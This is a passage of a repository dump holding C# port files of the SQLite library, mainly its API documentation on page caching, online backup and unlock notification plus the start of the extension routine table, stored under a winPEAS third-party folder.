in this context, is a buffer of szPage bytes aligned at an\n    ** 8-byte boundary. The page to be fetched is determined by the key. The\n    ** mimimum key value is 1. After it has been retrieved using xFetch, the page \n    ** is considered to be pinned.\n    **\n    ** If the requested page is already in the page cache, then a pointer to\n    ** the cached buffer should be returned with its contents intact. If the\n    ** page is not already in the cache, then the expected behaviour of the\n    ** cache is determined by the value of the createFlag parameter passed\n    ** to xFetch, according to the following table:\n    **\n    ** <table border=1 width=85% align=center>\n    **   <tr><th>createFlag<th>Expected Behaviour\n    **   <tr><td>0<td>NULL should be returned. No new cache entry is created.\n    **   <tr><td>1<td>If createFlag is set to 1, this indicates that \n    **                SQLite is holding pinned pages that can be unpinned\n    **                by writing their contents to the database file (a\n    **                relatively expensive operation). In this situation the\n    **                cache implementation has two choices: it can return NULL,\n    **                in which case SQLite will attempt to unpin one or more \n    **                pages before re-requesting the same page, or it can\n    **                allocate a new page and return a pointer to it. If a new\n    **                page is allocated, then the first sizeof(void*) bytes of\n    **                it (at least) must be zeroed before it is returned.\n    **   <tr><td>2<td>If createFlag is set to 2, then SQLite is not holding any\n    **                pinned pages associated with the specific cache passed\n    **                as the first argument to xFetch() that can be unpinned. The\n    **                cache implementation should attempt to allocate a new\n    **                cache entry and return a pointer to it. Again, the first\n    **                sizeof(void*) bytes of the page should be zeroed before \n    **                it is returned. If the xFetch() method returns NULL when \n    **                createFlag==2, SQLite assumes that a memory allocation \n    **                failed and returns SQLITE_NOMEM to the user.\n    ** </table>\n    **\n    ** xUnpin() is called by SQLite with a pointer to a currently pinned page\n    ** as its second argument. If the third parameter, discard, is non-zero,\n    ** then the page should be evicted from the cache. In this case SQLite \n    ** assumes that the next time the page is retrieved from the cache using\n    ** the xFetch() method, it will be zeroed. If the discard parameter is\n    ** zero, then the page is considered to be unpinned. The cache implementation\n    ** may choose to reclaim (free or recycle) unpinned pages at any time.\n    ** SQLite assumes that next time the page is retrieved from the cache\n    ** it will either be zeroed, or contain the same data that it did when it\n    ** was unpinned.\n    **\n    ** The cache is not required to perform any reference counting. A single \n    ** call to xUnpin() unpins the page regardless of the number of prior calls \n    ** to xFetch().\n    **\n    ** The xRekey() method is used to change the key value associated with the\n    ** page passed as the second argument from oldKey to newKey. If the cache\n    ** previously contains an entry associated with newKey, it should be\n    ** discarded. Any prior cache entry associated with newKey is guaranteed not\n    ** to be pinned.\n    **\n    ** When SQLite calls the xTruncate() method, the cache must discard all\n    ** existing cache entries with page numbers (keys) greater than or equal\n    ** to the value of the iLimit parameter passed to xTruncate(). If any\n    ** of these pages are pinned, they are implicitly unpinned, meaning that\n    ** they can be safely discarded.\n    **\n    ** The xDestroy() method is used to delete a cache allocated by xCreate().\n    ** All resources associated with the specified cache should be freed. After\n    ** calling the xDestroy() method, SQLite considers the [sqlite3_pcache*]\n    ** handle invalid, and will not use it with any other sqlite3_pcache_methods\n    ** functions.\n    */\n    //typedef struct sqlite3_pcache_methods sqlite3_pcache_methods;\n    //struct sqlite3_pcache_methods {\n    //  void *pArg;\n    //  int (*xInit)(void*);\n    //  void (*xShutdown)(void*);\n    //  sqlite3_pcache *(*xCreate)(int szPage, int bPurgeable);\n    //  void (*xCachesize)(sqlite3_pcache*, int nCachesize);\n    //  int (*xPagecount)(sqlite3_pcache*);\n    //  void *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag);\n    //  void (*xUnpin)(sqlite3_pcache*, void*, int discard);\n    //  void (*xRekey)(sqlite3_pcache*, void*, unsigned oldKey, unsigned newKey);\n    //  void (*xTruncate)(sqlite3_pcache*, unsigned iLimit);\n    //  void (*xDestroy)(sqlite3_pcache*);\n    //};\n    public class sqlite3_pcache_methods\n    {\n      public object pArg;\n      public dxPC_Init xInit;//int (*xInit)(void*);\n      public dxPC_Shutdown xShutdown;//public void (*xShutdown)(void*);\n      public dxPC_Create xCreate;//public sqlite3_pcache *(*xCreate)(int szPage, int bPurgeable);\n      public dxPC_Cachesize xCachesize;//public void (*xCachesize)(sqlite3_pcache*, int nCachesize);\n      public dxPC_Pagecount xPagecount;//public int (*xPagecount)(sqlite3_pcache*);\n      public dxPC_Fetch xFetch;//public void *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag);\n      public dxPC_Unpin xUnpin;//public void (*xUnpin)(sqlite3_pcache*, void*, int discard);\n      public dxPC_Rekey xRekey;//public void (*xRekey)(sqlite3_pcache*, void*, unsigned oldKey, unsigned newKey);\n      public dxPC_Truncate xTruncate;//public void (*xTruncate)(sqlite3_pcache*, unsigned iLimit);\n      public dxPC_Destroy xDestroy;//public void (*xDestroy)(sqlite3_pcache*);\n\n      public sqlite3_pcache_methods()\n      { }\n\n      public sqlite3_pcache_methods( object pArg, dxPC_Init xInit, dxPC_Shutdown xShutdown, dxPC_Create xCreate, dxPC_Cachesize xCachesize, dxPC_Pagecount xPagecount, dxPC_Fetch xFetch, dxPC_Unpin xUnpin, dxPC_Rekey xRekey, dxPC_Truncate xTruncate, dxPC_Destroy xDestroy )\n      {\n        this.pArg = pArg;\n        this.xInit = xInit;\n        this.xShutdown = xShutdown;\n        this.xCreate = xCreate;\n        this.xCachesize = xCachesize;\n        this.xPagecount = xPagecount;\n        this.xFetch = xFetch;\n        this.xUnpin = xUnpin;\n        this.xRekey = xRekey;\n        this.xTruncate = xTruncate;\n        this.xDestroy = xDestroy;\n      }\n    };\n\n    /*\n    ** CAPI3REF: Online Backup Object\n    ** EXPERIMENTAL\n    **\n    ** The sqlite3_backup object records state information about an ongoing\n    ** online backup operation.  The sqlite3_backup object is created by\n    ** a call to [sqlite3_backup_init()] and is destroyed by a call to\n    ** [sqlite3_backup_finish()].\n    **\n    ** See Also: [Using the SQLite Online Backup API]\n    */\n    //typedef struct sqlite3_backup sqlite3_backup;\n\n    /*\n    ** CAPI3REF: Online Backup API.\n    ** EXPERIMENTAL\n    **\n    ** This API is used to overwrite the contents of one database with that\n    ** of another. It is useful either for creating backups of databases or\n    ** for copying in-memory databases to or from persistent files. \n    **\n    ** See Also: [Using the SQLite Online Backup API]\n    **\n    ** Exclusive access is required to the destination database for the \n    ** duration of the operation. However the source database is only\n    ** read-locked while it is actually being read, it is not locked\n    ** continuously for the entire operation. Thus, the backup may be\n    ** performed on a live database without preventing other users from\n    ** writing to the database for an extended period of time.\n    ** \n    ** To perform a backup operation: \n    **   <ol>\n    **     <li><b>sqlite3_backup_init()</b> is called once to initialize the\n    **         backup, \n    **     <li><b>sqlite3_backup_step()</b> is called one or more times to transfer \n    **         the data between the two databases, and finally\n    **     <li><b>sqlite3_backup_finish()</b> is called to release all resources \n    **         associated with the backup operation. \n    **   </ol>\n    ** There should be exactly one call to sqlite3_backup_finish() for each\n    ** successful call to sqlite3_backup_init().\n    **\n    ** <b>sqlite3_backup_init()</b>\n    **\n    ** The first two arguments passed to [sqlite3_backup_init()] are the database\n    ** handle associated with the destination database and the database name \n    ** used to attach the destination database to the handle. The database name\n    ** is \"main\" for the main database, \"temp\" for the temporary database, or\n    ** the name specified as part of the [ATTACH] statement if the destination is\n    ** an attached database. The third and fourth arguments passed to \n    ** sqlite3_backup_init() identify the [database connection]\n    ** and database name used\n    ** to access the source database. The values passed for the source and \n    ** destination [database connection] parameters must not be the same.\n    **\n    ** If an error occurs within sqlite3_backup_init(), then NULL is returned\n    ** and an error code and error message written into the [database connection] \n    ** passed as the first argument. They may be retrieved using the\n    ** [sqlite3_errcode()], [sqlite3_errmsg()], and [sqlite3_errmsg16()] functions.\n    ** Otherwise, if successful, a pointer to an [sqlite3_backup] object is\n    ** returned. This pointer may be used with the sqlite3_backup_step() and\n    ** sqlite3_backup_finish() functions to perform the specified backup \n    ** operation.\n    **\n    ** <b>sqlite3_backup_step()</b>\n    **\n    ** Function [sqlite3_backup_step()] is used to copy up to nPage pages between \n    ** the source and destination databases, where nPage is the value of the \n    ** second parameter passed to sqlite3_backup_step(). If nPage is a negative\n    ** value, all remaining source pages are copied. If the required pages are \n    ** succesfully copied, but there are still more pages to copy before the \n    ** backup is complete, it returns [SQLITE_OK]. If no error occured and there \n    ** are no more pages to copy, then [SQLITE_DONE] is returned. If an error \n    ** occurs, then an SQLite error code is returned. As well as [SQLITE_OK] and\n    ** [SQLITE_DONE], a call to sqlite3_backup_step() may return [SQLITE_READONLY],\n    ** [SQLITE_NOMEM], [SQLITE_BUSY], [SQLITE_LOCKED], or an\n    ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX] extended error code.\n    **\n    ** As well as the case where the destination database file was opened for\n    ** read-only access, sqlite3_backup_step() may return [SQLITE_READONLY] if\n    ** the destination is an in-memory database with a different page size\n    ** from the source database.\n    **\n    ** If sqlite3_backup_step() cannot obtain a required file-system lock, then\n    ** the [sqlite3_busy_handler | busy-handler function]\n    ** is invoked (if one is specified). If the \n    ** busy-handler returns non-zero before the lock is available, then \n    ** [SQLITE_BUSY] is returned to the caller. In this case the call to\n    ** sqlite3_backup_step() can be retried later. If the source\n    ** [database connection]\n    ** is being used to write to the source database when sqlite3_backup_step()\n    ** is called, then [SQLITE_LOCKED] is returned immediately. Again, in this\n    ** case the call to sqlite3_backup_step() can be retried later on. If\n    ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX], [SQLITE_NOMEM], or\n    ** [SQLITE_READONLY] is returned, then \n    ** there is no point in retrying the call to sqlite3_backup_step(). These \n    ** errors are considered fatal. At this point the application must accept \n    ** that the backup operation has failed and pass the backup operation handle \n    ** to the sqlite3_backup_finish() to release associated resources.\n    **\n    ** Following the first call to sqlite3_backup_step(), an exclusive lock is\n    ** obtained on the destination file. It is not released until either \n    ** sqlite3_backup_finish() is called or the backup operation is complete \n    ** and sqlite3_backup_step() returns [SQLITE_DONE]. Additionally, each time \n    ** a call to sqlite3_backup_step() is made a [shared lock] is obtained on\n    ** the source database file. This lock is released before the\n    ** sqlite3_backup_step() call returns. Because the source database is not\n    ** locked between calls to sqlite3_backup_step(), it may be modified mid-way\n    ** through the backup procedure. If the source database is modified by an\n    ** external process or via a database connection other than the one being\n    ** used by the backup operation, then the backup will be transparently\n    ** restarted by the next call to sqlite3_backup_step(). If the source \n    ** database is modified by the using the same database connection as is used\n    ** by the backup operation, then the backup database is transparently \n    ** updated at the same time.\n    **\n    ** <b>sqlite3_backup_finish()</b>\n    **\n    ** Once sqlite3_backup_step() has returned [SQLITE_DONE], or when the \n    ** application wishes to abandon the backup operation, the [sqlite3_backup]\n    ** object should be passed to sqlite3_backup_finish(). This releases all\n    ** resources associated with the backup operation. If sqlite3_backup_step()\n    ** has not yet returned [SQLITE_DONE], then any active write-transaction on the\n    ** destination database is rolled back. The [sqlite3_backup] object is invalid\n    ** and may not be used following a call to sqlite3_backup_finish().\n    **\n    ** The value returned by sqlite3_backup_finish is [SQLITE_OK] if no error\n    ** occurred, regardless or whether or not sqlite3_backup_step() was called\n    ** a sufficient number of times to complete the backup operation. Or, if\n    ** an out-of-memory condition or IO error occured during a call to\n    ** sqlite3_backup_step() then [SQLITE_NOMEM] or an\n    ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX] error code\n    ** is returned. In this case the error code and an error message are\n    ** written to the destination [database connection].\n    **\n    ** A return of [SQLITE_BUSY] or [SQLITE_LOCKED] from sqlite3_backup_step() is\n    ** not a permanent error and does not affect the return value of\n    ** sqlite3_backup_finish().\n    **\n    ** <b>sqlite3_backup_remaining(), sqlite3_backup_pagecount()</b>\n    **\n    ** Each call to sqlite3_backup_step() sets two values stored internally\n    ** by an [sqlite3_backup] object. The number of pages still to be backed\n    ** up, which may be queried by sqlite3_backup_remaining(), and the total\n    ** number of pages in the source database file, which may be queried by\n    ** sqlite3_backup_pagecount().\n    **\n    ** The values returned by these functions are only updated by\n    ** sqlite3_backup_step(). If the source database is modified during a backup\n    ** operation, then the values are not updated to account for any extra\n    ** pages that need to be updated or the size of the source database file\n    ** changing.\n    **\n    ** <b>Concurrent Usage of Database Handles</b>\n    **\n    ** The source [database connection] may be used by the application for other\n    ** purposes while a backup operation is underway or being initialized.\n    ** If SQLite is compiled and configured to support threadsafe database\n    ** connections, then the source database connection may be used concurrently\n    ** from within other threads.\n    **\n    ** However, the application must guarantee that the destination database\n    ** connection handle is not passed to any other API (by any thread) after \n    ** sqlite3_backup_init() is called and before the corresponding call to\n    ** sqlite3_backup_finish(). Unfortunately SQLite does not currently check\n    ** for this, if the application does use the destination [database connection]\n    ** for some other purpose during a backup operation, things may appear to\n    ** work correctly but in fact be subtly malfunctioning.  Use of the\n    ** destination database connection while a backup is in progress might\n    ** also cause a mutex deadlock.\n    **\n    ** Furthermore, if running in [shared cache mode], the application must\n    ** guarantee that the shared cache used by the destination database\n    ** is not accessed while the backup is running. In practice this means\n    ** that the application must guarantee that the file-system file being \n    ** backed up to is not accessed by any connection within the process,\n    ** not just the specific connection that was passed to sqlite3_backup_init().\n    **\n    ** The [sqlite3_backup] object itself is partially threadsafe. Multiple \n    ** threads may safely make multiple concurrent calls to sqlite3_backup_step().\n    ** However, the sqlite3_backup_remaining() and sqlite3_backup_pagecount()\n    ** APIs are not strictly speaking threadsafe. If they are invoked at the\n    ** same time as another thread is invoking sqlite3_backup_step() it is\n    ** possible that they return invalid values.\n    */\n    //SQLITE_API sqlite3_backup *sqlite3_backup_init(\n    //  sqlite3 *pDest,                        /* Destination database handle */\n    //  const char *zDestName,                 /* Destination database name */\n    //  sqlite3 *pSource,                      /* Source database handle */\n    //  const char *zSourceName                /* Source database name */\n    //);\n    //SQLITE_API int sqlite3_backup_step(sqlite3_backup *p, int nPage);\n    //SQLITE_API int sqlite3_backup_finish(sqlite3_backup *p);\n    //SQLITE_API int sqlite3_backup_remaining(sqlite3_backup *p);\n    //SQLITE_API int sqlite3_backup_pagecount(sqlite3_backup *p);\n\n    /*\n    ** CAPI3REF: Unlock Notification\n    ** EXPERIMENTAL\n    **\n    ** When running in shared-cache mode, a database operation may fail with\n    ** an [SQLITE_LOCKED] error if the required locks on the shared-cache or\n    ** individual tables within the shared-cache cannot be obtained. See\n    ** [SQLite Shared-Cache Mode] for a description of shared-cache locking. \n    ** This API may be used to register a callback that SQLite will invoke \n    ** when the connection currently holding the required lock relinquishes it.\n    ** This API is only available if the library was compiled with the\n    ** [SQLITE_ENABLE_UNLOCK_NOTIFY] C-preprocessor symbol defined.\n    **\n    ** See Also: [Using the SQLite Unlock Notification Feature].\n    **\n    ** Shared-cache locks are released when a database connection concludes\n    ** its current transaction, either by committing it or rolling it back. \n    **\n    ** When a connection (known as the blocked connection) fails to obtain a\n    ** shared-cache lock and SQLITE_LOCKED is returned to the caller, the\n    ** identity of the database connection (the blocking connection) that\n    ** has locked the required resource is stored internally. After an \n    ** application receives an SQLITE_LOCKED error, it may call the\n    ** sqlite3_unlock_notify() method with the blocked connection handle as \n    ** the first argument to register for a callback that will be invoked\n    ** when the blocking connections current transaction is concluded. The\n    ** callback is invoked from within the [sqlite3_step] or [sqlite3_close]\n    ** call that concludes the blocking connections transaction.\n    **\n    ** If sqlite3_unlock_notify() is called in a multi-threaded application,\n    ** there is a chance that the blocking connection will have already\n    ** concluded its transaction by the time sqlite3_unlock_notify() is invoked.\n    ** If this happens, then the specified callback is invoked immediately,\n    ** from within the call to sqlite3_unlock_notify().\n    **\n    ** If the blocked connection is attempting to obtain a write-lock on a\n    ** shared-cache table, and more than one other connection currently holds\n    ** a read-lock on the same table, then SQLite arbitrarily selects one of \n    ** the other connections to use as the blocking connection.\n    **\n    ** There may be at most one unlock-notify callback registered by a \n    ** blocked connection. If sqlite3_unlock_notify() is called when the\n    ** blocked connection already has a registered unlock-notify callback,\n    ** then the new callback replaces the old. If sqlite3_unlock_notify() is\n    ** called with a NULL pointer as its second argument, then any existing\n    ** unlock-notify callback is cancelled. The blocked connections \n    ** unlock-notify callback may also be canceled by closing the blocked\n    ** connection using [sqlite3_close()].\n    **\n    ** The unlock-notify callback is not reentrant. If an application invokes\n    ** any sqlite3_xxx API functions from within an unlock-notify callback, a\n    ** crash or deadlock may be the result.\n    **\n    ** Unless deadlock is detected (see below), sqlite3_unlock_notify() always\n    ** returns SQLITE_OK.\n    **\n    ** <b>Callback Invocation Details</b>\n    **\n    ** When an unlock-notify callback is registered, the application provides a \n    ** single void* pointer that is passed to the callback when it is invoked.\n    ** However, the signature of the callback function allows SQLite to pass\n    ** it an array of void* context pointers. The first argument passed to\n    ** an unlock-notify callback is a pointer to an array of void* pointers,\n    ** and the second is the number of entries in the array.\n    **\n    ** When a blocking connections transaction is concluded, there may be\n    ** more than one blocked connection that has registered for an unlock-notify\n    ** callback. If two or more such blocked connections have specified the\n    ** same callback function, then instead of invoking the callback function\n    ** multiple times, it is invoked once with the set of void* context pointers\n    ** specified by the blocked connections bundled together into an array.\n    ** This gives the application an opportunity to prioritize any actions \n    ** related to the set of unblocked database connections.\n    **\n    ** <b>Deadlock Detection</b>\n    **\n    ** Assuming that after registering for an unlock-notify callback a \n    ** database waits for the callback to be issued before taking any further\n    ** action (a reasonable assumption), then using this API may cause the\n    ** application to deadlock. For example, if connection X is waiting for\n    ** connection Y's transaction to be concluded, and similarly connection\n    ** Y is waiting on connection X's transaction, then neither connection\n    ** will proceed and the system may remain deadlocked indefinitely.\n    **\n    ** To avoid this scenario, the sqlite3_unlock_notify() performs deadlock\n    ** detection. If a given call to sqlite3_unlock_notify() would put the\n    ** system in a deadlocked state, then SQLITE_LOCKED is returned and no\n    ** unlock-notify callback is registered. The system is said to be in\n    ** a deadlocked state if connection A has registered for an unlock-notify\n    ** callback on the conclusion of connection B's transaction, and connection\n    ** B has itself registered for an unlock-notify callback when connection\n    ** A's transaction is concluded. Indirect deadlock is also detected, so\n    ** the system is also considered to be deadlocked if connection B has\n    ** registered for an unlock-notify callback on the conclusion of connection\n    ** C's transaction, where connection C is waiting on connection A. Any\n    ** number of levels of indirection are allowed.\n    **\n    ** <b>The \"DROP TABLE\" Exception</b>\n    **\n    ** When a call to [sqlite3_step()] returns SQLITE_LOCKED, it is almost \n    ** always appropriate to call sqlite3_unlock_notify(). There is however,\n    ** one exception. When executing a \"DROP TABLE\" or \"DROP INDEX\" statement,\n    ** SQLite checks if there are any currently executing SELECT statements\n    ** that belong to the same connection. If there are, SQLITE_LOCKED is\n    ** returned. In this case there is no \"blocking connection\", so invoking\n    ** sqlite3_unlock_notify() results in the unlock-notify callback being\n    ** invoked immediately. If the application then re-attempts the \"DROP TABLE\"\n    ** or \"DROP INDEX\" query, an infinite loop might be the result.\n    **\n    ** One way around this problem is to check the extended error code returned\n    ** by an sqlite3_step() call. If there is a blocking connection, then the\n    ** extended error code is set to SQLITE_LOCKED_SHAREDCACHE. Otherwise, in\n    ** the special \"DROP TABLE/INDEX\" case, the extended error code is just \n    ** SQLITE_LOCKED.\n    */\n    //SQLITE_API int sqlite3_unlock_notify(\n    //  sqlite3 *pBlocked,                          /* Waiting connection */\n    //  void (*xNotify)(void **apArg, int nArg),    /* Callback function to invoke */\n    //  void *pNotifyArg                            /* Argument to pass to xNotify */\n    //);\n\n\n    /*\n    ** CAPI3REF: String Comparison\n    ** EXPERIMENTAL\n    **\n    ** The [sqlite3_strnicmp()] API allows applications and extensions to\n    ** compare the contents of two buffers containing UTF-8 strings in a\n    ** case-indendent fashion, using the same definition of case independence \n    ** that SQLite uses internally when comparing identifiers.\n    */\n    //SQLITE_API int sqlite3_strnicmp(const char *, const char *, int);\n\n    /*\n    ** Undo the hack that converts floating point types to integer for\n    ** builds on processors without floating point support.\n    */\n    //#ifdef SQLITE_OMIT_FLOATING_POINT\n    //# undef double\n    //#endif\n\n    //#ifdef __cplusplus\n    //}  /* End of the 'extern \"C\"' block */\n    //#endif\n    //#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/sqlite3ext_h.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2006 June 7\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This header file defines the SQLite interface for use by\n    ** shared libraries that want to be imported as extensions into\n    ** an SQLite instance.  Shared libraries that intend to be loaded\n    ** as extensions by SQLite should #include this file instead of\n    ** sqlite3.h.\n    **\n    ** @(#) $Id: sqlite3ext.h,v 1.25 2008/10/12 00:27:54 shane Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n#if !_SQLITE3EXT_H_\n    //#define _SQLITE3EXT_H_\n    //#include \"sqlite3.h\"\n\n    //typedef struct sqlite3_api_routines sqlite3_api_routines;\n\n    /*\n    ** The following structure holds pointers to all of the SQLite API\n    ** routines.\n    **\n    ** WARNING:  In order to maintain backwards compatibility, add new\n    ** interfaces to the end of this structure only.  If you insert new\n    ** interfaces in the middle of this structure, then older different\n    ** versions of SQLite will not be able to load each others' shared\n    ** libraries!\n    */\n    //struct sqlite3_api_routines {\n    //  void * (*aggregate_context)(sqlite3_context*,int nBytes);\n    //  int  (*aggregate_count)(sqlite3_context*);\n    //  int  (*bind_blob)(sqlite3_stmt*,int,const void*,int n,void(*)(void*));\n    //  int  (*bind_double)(sqlite3_stmt*,int,double);\n    //  int  (*bind_int)(sqlite3_stmt*,int,int);\n    //  int  (*bind_int64)(sqlite3_stmt*,int,sqlite_int64);\n    //  int  (*bind_null)(sqlite3_stmt*,int);\n    //  int  (*bind_parameter_count)(sqlite3_stmt*);\n    //  int  (*bind_parameter_index)(sqlite3_stmt*,const char*zName);\n    //  const char * (*bind_parameter_name)(sqlite3_stmt*,int);\n    //  int  (*bind_text)(sqlite3_stmt*,int,const char*,int n,void(*)(void*));\n    //  int  (*bind_text16)(sqlite3_stmt*,int,const void*,int,void(*)(void*));\n    //  int  (*bind_value)(sqlite3_stmt*,int,const sqlite3_value*);\n    //  int  (*busy_handler)(sqlite3*,int(*)(void*,int),void*);\n    //  int  (*busy_timeout)(sqlite3*,int ms);\n    //  int  (*changes)(sqlite3*);\n    //  int  (*close)(sqlite3*);\n    //  int  (*collation_needed)(sqlite3*,void*,void(*)(void*,sqlite3*,int eTextRep,const char*));\n    //  int  (*collation_needed16)(sqlite3*,void*,void(*)(void*,sqlite3*,int eTextRep,const void*));\n    //  const void * (*column_blob)(sqlite3_stmt*,int iCol);\n    //  int  (*column_bytes)(sqlite3_stmt*,int iCol);\n    //  int  (*column_bytes16)(sqlite3_stmt*,int iCol);\n    //  int  (*column_count)(sqlite3_stmt*pStmt);\n    //  const char * (*column_database_name)(sqlite3_stmt*,int);\n    //  const void * (*column_database_name16)(sqlite3_stmt*,int);\n    //  const char * (*column_decltype)(sqlite3_stmt*,int i);\n    //  const void * (*column_decltype16)(sqlite3_stmt*,int);\n    //  double  (*column_double)(sqlite3_stmt*,int iCol);\n    //  int  (*column_int)(sqlite3_stmt*,int iCol);\n    //  sqlite_int64  (*column_int64)(sqlite3_stmt*,int iCol);\n    //  const char * (*column_name)(sqlite3_stmt*,int);\n    //  const void * (*column_name16)(sqlite3_stmt*,int);\n    //  const char * (*column_origin_name)(sqlite3_stmt*,int);\n    //  const void * (*column_origin_name16)(sqlite3_stmt*,int);\n    //  const char * (*column_table_name)(sqlite3_stmt*,int);\n    //  const void * (*column_table_name16)(sqlite3_stmt*,int);\n    //  const unsigned char * (*column_text)(sqlite3_stmt*,int iCol);\n    //  const void * (*column_text16)(sqlite3_stmt*,int iCol);\n    //  int  (*column_type)(sqlite3_stmt*,int iCol);\n    //  sqlite3_value* (*column_value)(sqlite3_stmt*,int iCol);\n    //  void * (*commit_hook)(sqlite3*,int(*)(void*),void*);\n    //  int  (*complete)(const char*sql);\n    //  int  (*complete16)(const void*sql);\n    //  int  (*create_collation)(sqlite3*,const char*,int,void*,int(*)(void*,int,const void*,int,const void*));\n    //    int  (*create_collation16)(sqlite3*,const void*,int,void*,int(*)(void*,int,const void*,int,const void*));\n    //  int  (*create_function)(sqlite3*,const char*,int,int,void*,void (*xFunc)(sqlite3_context*,int,sqlite3_value**),void (*xStep)(sqlite3_context*,int,sqlite3_value**),void (*xFinal)(sqlite3_context*));\n    //  int  (*create_function16)(sqlite3*,const void*,int,int,void*,void (*xFunc)(sqlite3_context*,int,sqlite3_value**),void (*xStep)(sqlite3_context*,int,sqlite3_value**),void (*xFinal)(sqlite3_context*));\n    //  int (*create_module)(sqlite3*,const char*,const sqlite3_module*,void*);\n    //  int  (*data_count)(sqlite3_stmt*pStmt);\n    //  sqlite3 * (*db_handle)(sqlite3_stmt*);\n    //  int (*declare_vtab)(sqlite3*,const char*);\n    //  int  (*enable_shared_cache)(int);\n    //  int  (*errcode)(sqlite3*db);\n    //  const char * (*errmsg)(sqlite3*);\n    //  const void * (*errmsg16)(sqlite3*);\n    //  int  (*exec)(sqlite3*,const char*,sqlite3_callback,void*,char**);\n    //  int  (*expired)(sqlite3_stmt*);\n    //  int  (*finalize)(sqlite3_stmt*pStmt);\n    //  void  (*free)(void*);\n    //  void  (*free_table)(char**result);\n    //  int  (*get_autocommit)(sqlite3*);\n    //  void * (*get_auxdata)(sqlite3_context*,int);\n    //  int  (*get_table)(sqlite3*,const char*,char***,int*,int*,char**);\n    //  int  (*global_recover)(void);\n    //  void  (*interruptx)(sqlite3*);\n    //  sqlite_int64  (*last_insert_rowid)(sqlite3*);\n    //  const char * (*libversion)(void);\n    //  int  (*libversion_number)(void);\n    //  void *(*malloc)(int);\n    //  char * (*mprintf)(const char*,...);\n    //  int  (*open)(const char*,sqlite3**);\n    //  int  (*open16)(const void*,sqlite3**);\n    //  int  (*prepare)(sqlite3*,const char*,int,sqlite3_stmt**,const char**);\n    //  int  (*prepare16)(sqlite3*,const void*,int,sqlite3_stmt**,const void**);\n    //  void * (*profile)(sqlite3*,void(*)(void*,const char*,sqlite_u3264),void*);\n    //  void  (*progress_handler)(sqlite3*,int,int(*)(void*),void*);\n    //  void *(*realloc)(void*,int);\n    //  int  (*reset)(sqlite3_stmt*pStmt);\n    //  void  (*result_blob)(sqlite3_context*,const void*,int,void(*)(void*));\n    //  void  (*result_double)(sqlite3_context*,double);\n    //  void  (*result_error)(sqlite3_context*,const char*,int);\n    //  void  (*result_error16)(sqlite3_context*,const void*,int);\n    //  void  (*result_int)(sqlite3_context*,int);\n    //  void  (*result_int64)(sqlite3_context*,sqlite_int64);\n    //  void  (*result_null)(sqlite3_context*);\n    //  void  (*result_text)(sqlite3_context*,const char*,int,void(*)(void*));\n    //  void  (*result_text16)(sqlite3_context*,const void*,int,void(*)(void*));\n    //  void  (*result_text16be)(sqlite3_context*,const void*,int,void(*)(void*));\n    //  void  (*result_text16le)(sqlite3_context*,const void*,int,void(*)(void*));\n    //  void  (*result_value)(sqlite3_context*,sqlite3_value*);\n    //  void * (*rollback_hook)(sqlite3*,void(*)(void*),void*);\n    //  int  (*set_authorizer)(sqlite3*,int(*)(void*,int,const char*,const char*,const char*,const char*),void*);\n    //  void  (*set_auxdata)(sqlite3_context*,int,void*,void (*)(void*));\n    //  char * (*snprintf)(int,char*,const char*,...);\n    //  int  (*step)(sqlite3_stmt*);\n    //  int  (*table_column_metadata)(sqlite3*,const char*,const char*,const char*,char const**,char const**,int*,int*,int*);\n    //  void  (*thread_cleanup)(void);\n    //  int  (*total_changes)(sqlite3*);\n    //  void * (*trace)(sqlite3*,void(*xTrace)(void*,const char*),void*);\n    //  int  (*transfer_bindings)(sqlite3_stmt*,sqlite3_stmt*);\n    //  void * (*update_hook)(sqlite3*,void(*)(void*,int ,char const*,char const*,sqlite_int64),void*);\n    //  void * (*user_data)(sqlite3_context*);\n    //  const void * (*value_blob)(sqlite3_value*);\n    //  int  (*value_bytes)(sqlite3_value*);\n    //  int  (*value_bytes16)(sqlite3_value*);\n    //  double  (*value_double)(sqlite3_value*);\n    //  int  (*value_int)(sqlite3_value*);\n    //  sqlite_int64  (*value_int64)(sqlite3_value*);\n    //  int  (*value_numeric_type)(sqlite3_value*);\n    //  const unsigned char * (*value_text)(sqlite3_value*);\n    //  const void * (*value_text16)(sqlite3_value*);\n    //  const void * (*value_text16be)(sqlite3_value*);\n    //  const void * (*value_text16le)(sqlite3_value*);\n    //  int  (*value_type)(sqlite3_value*);\n    //  char *(*vmprintf)(const char*,va_list);\n    //  /* Added ??? */\n    //  int (*overload_function)(sqlite3*, const char *zFuncName, int nArg);\n    //  /* Added by 3.3.13 */\n    //  int (*prepare_v2)(sqlite3*,const char*,int,sqlite3_stmt**,const char**);\n    //  int (*prepare16_v2)(sqlite3*,const void*,int,sqlite3_stmt**,const void**);\n    //  int (*clear_bindings)(sqlite3_stmt*);\n    //  /* Added by 3.4.1 */\n    //  int (*create_module_v2)(sqlite3*,const char*,const sqlite3_module*,void*,void (*xDestroy)(void *));\n    //  /* Added by 3.5.0 */\n    //  int (*bind_zeroblob)(sqlite3_stmt*,int,int);\n    //  int (*blob_bytes)(sqlite3_blob*);\n    //  int (*blob_close)(sqlite3_blob*);\n    //  int (*blob_open)(sqlite3*,const char*,const char*,const char*,sqlite3_int64,int,sqlite3_blob**);\n    //  int (*blob_read)(sqlite3_blob*,void*,int,int);\n    //  int (*blob_write)(sqlite3_blob*,const void*,int,int);\n    //  int (*create_collation_v2)(sqlite3*,const char*,int,void*,int(*)(void*,int,const void*,int,const void*),void(*)(void*));\n    //  int (*file_control)(sqlite3*,const char*,int,void*);\n    //  sqlite3_int64 (*memory_highwater)(int);\n    //  sqlite3_int64 (*memory_used)(void);\n    //  sqlite3_mutex 